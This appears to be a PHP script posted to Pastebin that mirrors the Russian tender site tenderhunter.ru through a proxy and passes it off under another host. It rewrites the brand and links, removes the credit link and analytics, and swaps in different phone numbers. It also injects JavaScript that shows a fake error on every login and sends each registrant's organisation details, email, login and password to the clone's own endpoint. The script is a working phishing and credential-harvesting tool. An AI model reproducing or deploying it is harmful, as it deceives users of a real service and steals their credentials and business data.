Advertisement
stuppid_bot

Untitled

Nov 1st, 2013
155
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 9.35 KB | None | 0 0
  1. <?php
  2.  
  3. $cache_enabled = false;
  4. $base_path = dirname($_SERVER['SCRIPT_NAME']);
  5. if ($base_path <> '/') {
  6.     $base_path .= '/';
  7. }
  8. $uri = $_SERVER['REQUEST_URI'];
  9. $uri = preg_replace('|/{2,}|', '/', $uri);
  10. $uri = $base_path == $uri ? '' : substr($uri, strlen($base_path));
  11. $cache_file = 'cache/' . urlencode($uri) . '.dat';
  12. $content_type = '';
  13. if ($cache_enabled && file_exists($cache_file)) {
  14.     $content = file_get_contents($cache_file);
  15.     $pos = strpos($content, ',');
  16.     $content_type = substr($content, 0, $pos);
  17.     $content = substr($content, $pos + 1);
  18. }
  19. else {
  20.     $content = @file_get_contents('http://www.tenderhunter.ru/' . $uri);
  21.     if (strlen($content)) {
  22.         foreach ($http_response_header as $v) {
  23.             preg_match('/Content-Type: (.*)/i', $v, $matches);
  24.             if ($matches) {
  25.                 $content_type = $matches[1];
  26.                 break;
  27.             }
  28.         }
  29.         $parts = explode(';', $content_type);
  30.         if ('text/html' == $parts[0]) {
  31.             var_dump($uri);
  32.             // заменяем прямые ссылки
  33.             $content = preg_replace('~(www\.)?tenderhunter\.ru/~i', $_SERVER['HTTP_HOST'] . $base_path, $content);
  34.             // ссылки со слешем впереди
  35.             $content = preg_replace('~(?:(?<= src=[\'"])|(?<= href=[\'"]))/([^/])~', $base_path . '$1', $content);
  36.             // заменяем в тексте название сайта
  37.             $content = preg_replace('~tenderhunter\.ru~i', $_SERVER['HTTP_HOST'], $content);
  38.             // убираем копирайт
  39.             $content = preg_replace('~<a class="dev_link".*?/a>~', '', $content);
  40.             $content = str_replace('<span class="red">доступно после оплаты тарифа</span>', '<span class="red">доступно после регистрации</span>', $content);
  41.             $content = str_replace('8 800 100 5712', '8 800 100 1488', $content);
  42.             $content = str_replace('8 (495) 268-02-10', '8 (495) 268-02-14', $content);
  43.             $content = preg_replace('~<!-- Yandex\.Metrika counter -->[\s\S]*?<!-- /Yandex\.Metrika counter -->~', '', $content);
  44.             $content = preg_replace('~<script type="text/javascript">\s+<!--//<!\[CDATA\[[\s\S]*?//\]\]>-->\s+</script>~', '', $content);
  45.             // $content = str_replace('<li class="menu_3"><a href="/tarif.aspx">Тарифы</a></li>', '', $content);
  46.             $content = str_replace('var s = document.getElementsByTagName(\'script\')[0]; s.parentNode.insertBefore(ga, s);', '/* FUCK YOU! */', $content);
  47.             $content .= <<<INJECTION
  48. <script>
  49. pageTracker = {}
  50. pageTracker._trackPageview = function () {}
  51. function __doPostBack(_) {
  52.     _ = _.split('$').slice(0, -1);
  53.     _.push('');
  54.     _ = _.join('_');
  55.     console.log(_);
  56.     if (_ == 'ctl00_side_bar_') alert('Неправильный логин либо пароль');
  57.     else if (_ == 'ctl00_ContentPlaceHolder1_') {
  58.         var type = document.getElementById(_ + 'ddlType');
  59.         if (type.value == '-1') {
  60.             alert('Выберите организационно-правовую форму Вашего предприятия');
  61.             type.focus();
  62.         }
  63.         else {
  64.             type = type.options[type.value].innerHTML;
  65.             var inputName = document.getElementById(_ + 'txtName');
  66.             var name = inputName.value = inputName.value.trim();
  67.             if (name == '') {
  68.                 alert('Введите название Вашей организации');
  69.                 inputName.focus();
  70.             }
  71.             else {
  72.                 var inputContact = document.getElementById(_ + 'txtContact');
  73.                 var contact = inputContact.value = inputContact.value.trim();
  74.                 if (contact == '') {
  75.                     alert('Укажите контактное лицо');
  76.                     inputContact.focus();
  77.                 }
  78.                 else {
  79.                     var inputContactPost = document.getElementById(_ + 'txtContactPost');
  80.                     var contactPost = inputContactPost.value = inputContactPost.value.trim();
  81.                     if (contactPost == '') {
  82.                         alert('Укажите должность');
  83.                         inputContactPost.focus();
  84.                     }
  85.                     else {
  86.                         var inputCode = document.getElementById(_ + 'txtCode');
  87.                         var code = inputCode.value = inputCode.value.trim();
  88.                         if (/^\d+$/.test(code)) {
  89.                             var inputPhone = document.getElementById(_ + 'txtPhone');
  90.                             var phone = inputPhone.value = inputPhone.value.trim();
  91.                             if (/^\d+$/.test(phone)) {
  92.                                 var inputEmail = document.getElementById(_ + 'txtEmail');
  93.                                 var email = inputEmail.value;
  94.                                 if (/^[.-\w]+@([\w-]+\.)+\w+$/.test(email)) {
  95.                                     var region = document.getElementById(_ + 'ddlRegion');
  96.                                     if (region.value == '-1') {
  97.                                         alert('Выберите регион');
  98.                                         region.focus();
  99.                                     }
  100.                                     else {
  101.                                         region = region.options[region.value].innerHTML;
  102.                                         var inputLogin = document.getElementById(_ + 'txtLogin');
  103.                                         var login = inputLogin.value = inputLogin.value.trim();
  104.                                         if (/^\w{3,32}$/.test(login)) {
  105.                                             var inputPassword = document.getElementById(_ + 'txtPassword1');
  106.                                             var password = inputPassword.value;
  107.                                             if (/^\w{6,32}$/.test(password)) {
  108.                                                 if (password == document.getElementById(_ + 'txtPassword2').value) {
  109.                                                     data = [type, name, contact, contactPost, code, phone, email, login, password];
  110.                                                     // console.log(data);
  111.                                                     data = JSON.stringify(data);
  112.                                                     var req = new XMLHttpRequest;
  113.                                                     req.open('POST', 'ajax_reg.php');
  114.                                                     req.onload = function () {
  115.                                                         var elem = document.getElementById('HideInfo');
  116.                                                         elem.innerHTML = '<p style="color: green;">Спасибо за регистрацию. Ваш аккаунт должен быть подтвержден Администрацией сайта, после чего Вам будет выслано письмо с ссылкой для активации. Проверка может занять от 2 до 48 часов.</p>';
  117.                                                         location.hash = '#success';
  118.                                                         window.scrollTo(0, 0);
  119.                                                     };
  120.                                                     req.send(data);
  121.                                                 }
  122.                                                 else {
  123.                                                     alert('Введенные пароли не совпадают');
  124.                                                 }
  125.                                             }
  126.                                             else {
  127.                                                 alert('Неправильный пароль');
  128.                                                 inputPassword.focus();
  129.                                             }
  130.                                         }
  131.                                         else {
  132.                                             alert('Неправильный логин');
  133.                                             inputLogin.focus();
  134.                                         }
  135.                                     }
  136.                                 }
  137.                                 else {
  138.                                     alert('Неправильный email');
  139.                                     inputEmail.focus();
  140.                                 }
  141.                             }
  142.                             else {
  143.                                 alert('Неправильный номер телефона');
  144.                                 inputPhone.focus();
  145.                             }
  146.                         }
  147.                         else {
  148.                             alert('Неправильный код телефона');
  149.                             inputCode.focus();
  150.                         }
  151.                     }
  152.                 }
  153.             }
  154.         }
  155.     }
  156. }
  157. </script>
  158. INJECTION;
  159.         }
  160.         if ($cache_enabled) {
  161.             file_put_contents($cache_file, $content_type . ',' . $content);
  162.         }
  163.     }
  164. }
  165. if ($content_type) {
  166.     header("Content-Type: $content_type");
  167. }
  168. echo $content;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement